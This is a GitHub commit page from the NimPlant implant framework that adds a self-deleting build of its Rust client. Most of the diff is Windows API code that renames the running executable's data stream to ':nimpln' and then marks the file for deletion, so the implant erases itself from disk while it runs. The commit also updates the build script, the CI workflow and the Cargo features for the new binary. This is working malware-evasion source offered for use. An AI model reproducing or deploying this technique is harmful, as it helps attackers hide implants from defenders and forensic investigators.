Skip to content

Commit

Permalink
Add selfdelete for rust
Browse files Browse the repository at this point in the history
  • Loading branch information
chvancooten committed Jun 16, 2024
1 parent a02c978 commit 845d8fa
Show file tree
Hide file tree
Showing 7 changed files with 109 additions and 92 deletions.
8 changes: 4 additions & 4 deletions .github/workflows/main.yml
Original file line number Diff line number Diff line change
Expand Up @@ -34,10 +34,10 @@ jobs:
fail-fast: false
matrix:
include:
- language: 'nim'
- language: "nim"
paths: ./client/bin/NimPlant.exe, ./client/bin/NimPlant.dll, ./client/bin/NimPlant.bin, ./client/bin/NimPlant-selfdelete.exe
- language: 'rust'
paths: ./client-rs/bin/nimplant.bin, ./client-rs/bin/nimplant.dll, ./client-rs/bin/nimplant.exe
- language: "rust"
paths: ./client-rs/bin/nimplant.bin, ./client-rs/bin/nimplant.dll, ./client-rs/bin/nimplant.exe, ./client-rs/bin/nimplant-selfdelete.exe
runs-on: ubuntu-latest
steps:
- name: Checkout code into workspace directory
Expand All @@ -62,4 +62,4 @@ jobs:
uses: andstor/file-existence-action@v3
with:
fail: true
files: ${{ matrix.paths }}
files: ${{ matrix.paths }}
14 changes: 10 additions & 4 deletions client-rs/Cargo.toml
Original file line number Diff line number Diff line change
Expand Up @@ -39,6 +39,10 @@ crate-type = ["cdylib"]
name = "nimplant"
path = "src/main.rs"

[[bin]]
name = "nimplant-selfdelete"
path = "src/main.rs"

[features]
risky = [
"clroxide",
Expand All @@ -49,7 +53,7 @@ risky = [
"windows",
"once_cell",
]
selfdelete = []
selfdelete = ["widestring", "windows"]

[build-dependencies]
bincode = "1.3.3"
Expand Down Expand Up @@ -85,12 +89,14 @@ wmi = "0.13.3"
# Windows APIs - used only for COFF loading
windows = { version = "0.57.0", optional = true, features = [
"Win32_Foundation",
"Win32_Security",
"Win32_Storage_FileSystem",
"Win32_Storage",
"Win32_System_Diagnostics_Debug",
"Win32_System_LibraryLoader",
"Win32_System_Memory",
"Win32_System_SystemServices",
"Win32_System_LibraryLoader",
"Win32_System_Threading",
"Win32_Security",
"Win32_System_Diagnostics_Debug",
] }

# Windows API pure definitions - preferred throughout Nimplant codebase
Expand Down
5 changes: 1 addition & 4 deletions client-rs/src/app.rs
Original file line number Diff line number Diff line change
Expand Up @@ -21,13 +21,10 @@ pub(crate) mod self_delete;
use crate::app::client::Client;
use crate::app::commands::handle_command;
use crate::app::config::Config;
use crate::app::debug::{allocate_console_debug_only, debug_println};
use crate::app::debug::debug_println;
use rand::Rng;

pub fn main() {
// Allocate a console if we're in debug mode
allocate_console_debug_only();

// Create a new Config object
let config = Config::new().unwrap_or_else(|_e| {
debug_println!("Failed to initialize config: {_e}");
Expand Down
150 changes: 77 additions & 73 deletions client-rs/src/app/self_delete.rs
Original file line number Diff line number Diff line change
@@ -1,85 +1,89 @@
use fmtools::format; // using obfstr to obfuscate
use std::ffi::c_void;
use std::mem::{size_of, zeroed};
use std::ptr::null_mut;
use widestring::u16cstr;
use windows_sys::Win32::Foundation::{CloseHandle, HANDLE, INVALID_HANDLE_VALUE};
use windows_sys::Win32::Storage::FileSystem::{
CreateFileW, SetFileInformationByHandle, FILE_ATTRIBUTE_NORMAL, FILE_DISPOSITION_FLAG_DELETE,
FILE_DISPOSITION_INFO, FILE_RENAME_INFO, OPEN_EXISTING,
// Base code adapted from RustRedOps by joaoviictorti under MIT License
// https://github.com/joaoviictorti/RustRedOps/tree/main/Self_Deletion

use std::{
ffi::c_void,
mem::{size_of, size_of_val},
};
use windows::core::PCWSTR;
use windows::Win32::{
Foundation::CloseHandle,
Storage::FileSystem::{CreateFileW, SetFileInformationByHandle, FILE_RENAME_INFO},
Storage::FileSystem::{
FileDispositionInfo, FileRenameInfo, DELETE, FILE_DISPOSITION_INFO,
FILE_FLAGS_AND_ATTRIBUTES, FILE_SHARE_READ, OPEN_EXISTING, SYNCHRONIZE,
},
System::Memory::{GetProcessHeap, HeapAlloc, HeapFree, HEAP_ZERO_MEMORY},
};
use windows_sys::Win32::System::LibraryLoader::GetModuleFileNameW;

unsafe fn open_handle(path: &[u16]) -> HANDLE {
CreateFileW(
path.as_ptr(),
0x00010000, // DELETE
0,
null_mut(),
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
null_mut() as isize,
)
}
pub(crate) fn perform() -> Result<(), Box<dyn std::error::Error>> {
let stream = ":nimpln";
let stream_wide: Vec<u16> = stream.encode_utf16().chain(std::iter::once(0)).collect();

unsafe fn rename_handle(handle: HANDLE) -> bool {
let stream_rename = format!(":nimpln");
let ds_stream_rename = u16cstr!(&stream_rename).unwrap().as_ptr();
let mut rename_info: FILE_RENAME_INFO = zeroed();
rename_info.FileNameLength = (size_of_val(&ds_stream_rename) - size_of::<u16>()) as u32; // Exclude null terminator
rename_info.FileName.copy_from(
ds_stream_rename,
rename_info.FileNameLength as usize / size_of::<u16>(),
);
SetFileInformationByHandle(
handle,
10, /* FileRenameInfo */
&mut rename_info as *mut _ as *mut c_void,
size_of::<FILE_RENAME_INFO>() as u32 + rename_info.FileNameLength,
) != 0
}
unsafe {
let mut delete_file = FILE_DISPOSITION_INFO::default();
let lenght = size_of::<FILE_RENAME_INFO>() + (stream_wide.len() * size_of::<u16>());
let rename_info =
HeapAlloc(GetProcessHeap()?, HEAP_ZERO_MEMORY, lenght).cast::<FILE_RENAME_INFO>();

unsafe fn mark_for_deletion(handle: HANDLE) -> bool {
let mut delete_info: FILE_DISPOSITION_INFO = zeroed();
delete_info.DeleteFile = FILE_DISPOSITION_FLAG_DELETE as u32;
SetFileInformationByHandle(
handle,
4, /* FileDispositionInfo */
&mut delete_info as *mut _ as *mut c_void,
size_of::<FILE_DISPOSITION_INFO>() as u32,
) != 0
}
delete_file.DeleteFile = true.into();
(*rename_info).FileNameLength = (stream_wide.len() * size_of::<u16>()) as u32 - 2;

pub fn perform_self_delete() -> Result<(), Box<dyn std::error::Error>> {
let mut path: [u16; 261] = [0; 261]; // MAX_PATH + 1
unsafe {
if GetModuleFileNameW(null_mut(), path.as_mut_ptr(), path.len() as u32) == 0 {
return Err(format!("Failed to get the current module file name").into());
}
}
std::ptr::copy_nonoverlapping(
stream_wide.as_ptr(),
(*rename_info).FileName.as_mut_ptr(),
stream_wide.len(),
);

let handle = unsafe { open_handle(&path) };
if handle == INVALID_HANDLE_VALUE {
return Err(format!("Failed to acquire handle to current running process").into());
}
let path = std::env::current_exe()?;
let path_str = path.to_str().unwrap_or("");
let mut full_path: Vec<u16> = path_str.encode_utf16().collect();
full_path.push(0);

if !unsafe { rename_handle(handle) } {
unsafe { CloseHandle(handle) };
return Err(format!("Failed to rename the file").into());
}
let mut h_file = CreateFileW(
PCWSTR(full_path.as_ptr()),
DELETE.0 | SYNCHRONIZE.0,
FILE_SHARE_READ,
None,
OPEN_EXISTING,
FILE_FLAGS_AND_ATTRIBUTES(0),
None,
)?;

unsafe { CloseHandle(handle) };
SetFileInformationByHandle(
h_file,
FileRenameInfo,
rename_info as *const c_void,
lenght as u32,
)?;

let handle = unsafe { open_handle(&path) };
if handle == INVALID_HANDLE_VALUE {
return Err(format!("Failed to reopen current module").into());
}
CloseHandle(h_file)?;

if !unsafe { mark_for_deletion(handle) } {
unsafe { CloseHandle(handle) };
return Err(format!("Failed to mark the file for deletion").into());
}
h_file = CreateFileW(
PCWSTR(full_path.as_ptr()),
DELETE.0 | SYNCHRONIZE.0,
FILE_SHARE_READ,
None,
OPEN_EXISTING,
FILE_FLAGS_AND_ATTRIBUTES(0),
None,
)?;

unsafe { CloseHandle(handle) };
Ok(())
SetFileInformationByHandle(
h_file,
FileDispositionInfo,
std::ptr::from_ref::<FILE_DISPOSITION_INFO>(&delete_file).cast(),
size_of_val(&delete_file) as u32,
)?;

CloseHandle(h_file)?;

HeapFree(
GetProcessHeap()?,
HEAP_ZERO_MEMORY,
Some(rename_info as *const c_void),
)?;

Ok(())
}
}
5 changes: 5 additions & 0 deletions client-rs/src/lib.rs
Original file line number Diff line number Diff line change
Expand Up @@ -5,7 +5,12 @@

mod app;

use app::debug::allocate_console_debug_only;

#[no_mangle]
pub extern "C" fn Update() {
// Allocate a console if we're in debug mode
allocate_console_debug_only();

app::main();
}
11 changes: 8 additions & 3 deletions client-rs/src/main.rs
Original file line number Diff line number Diff line change
Expand Up @@ -7,12 +7,17 @@

mod app;

#[cfg(feature = "selfdelete")]
use crate::app::self_delete::perform_self_delete;
use app::debug::{allocate_console_debug_only, debug_println};

fn main() {
// Allocate a console if we're in debug mode
allocate_console_debug_only();

// Self-delete the binary if the feature is enabled
#[cfg(feature = "selfdelete")]
perform_self_delete();
if let Err(e) = crate::app::self_delete::perform() {
debug_println!("Failed to self-delete: {:?}", e);
};

app::main();
}
8 changes: 4 additions & 4 deletions nimplant.py
Original file line number Diff line number Diff line change
Expand Up @@ -218,7 +218,7 @@ def compile_rust_debug(binary_type, xor_key, config):
def compile_rust(binary_type, xor_key, config, debug=False):
"""Compile the Rust implant."""
# Construct compilation command
target_path = "client-rs/target/"
target_path = "client-rs/target/x86_64-pc-windows-gnu/"

# We always use the GNU toolchain to prevent shellcode stability issues
# If on Windows, the MSVC toolchain may be used instead (if the raw format is not used)
Expand All @@ -237,8 +237,6 @@ def compile_rust(binary_type, xor_key, config, debug=False):
)

if os.name != "nt":
target_path = target_path + "x86_64-pc-windows-gnu/"

# When cross-compiling, we need to tell sodiumoxide to use
# a pre-compiled version libsodium (which is packaged)
os.environ["SODIUM_LIB_DIR"] = os.path.abspath(
Expand All @@ -257,7 +255,9 @@ def compile_rust(binary_type, xor_key, config, debug=False):
compile_command = compile_command + " --bin=nimplant"
case "exe-selfdelete":
target_path = target_path + "nimplant-selfdelete.exe"
compile_command = compile_command + " --bin=nimplant --features=selfdelete"
compile_command = (
compile_command + " --bin=nimplant-selfdelete --features=selfdelete"
)
case "dll":
target_path = target_path + "nimplant.dll"
compile_command = compile_command + " --lib"
Expand Down

0 comments on commit 845d8fa

Please sign in to comment.